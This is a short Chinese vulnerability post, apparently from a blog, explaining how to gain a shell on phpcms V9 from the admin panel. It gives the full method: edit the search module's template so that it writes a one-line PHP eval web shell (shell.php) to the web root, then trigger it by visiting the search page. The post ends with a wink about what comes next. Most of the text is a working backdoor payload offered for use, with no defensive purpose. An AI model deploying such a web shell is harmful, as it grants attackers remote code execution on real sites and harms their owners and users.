phpcmsV9后台拿shell
- 发表于
- Vulndb
search目录下面的index.html右侧的编辑
修改其模版为：
|
1 2 3 4 5 6 7 8 9 10 11 |
<?php $shell = '<?php @eval($_POST[cmd]);?>' ; file_put_contents ( 'shell.php' , $shell );?> |
提交保存
然后访问：localhost/index.php?m=search
会在根目录生成一个shell.php的一句话
然后你懂的
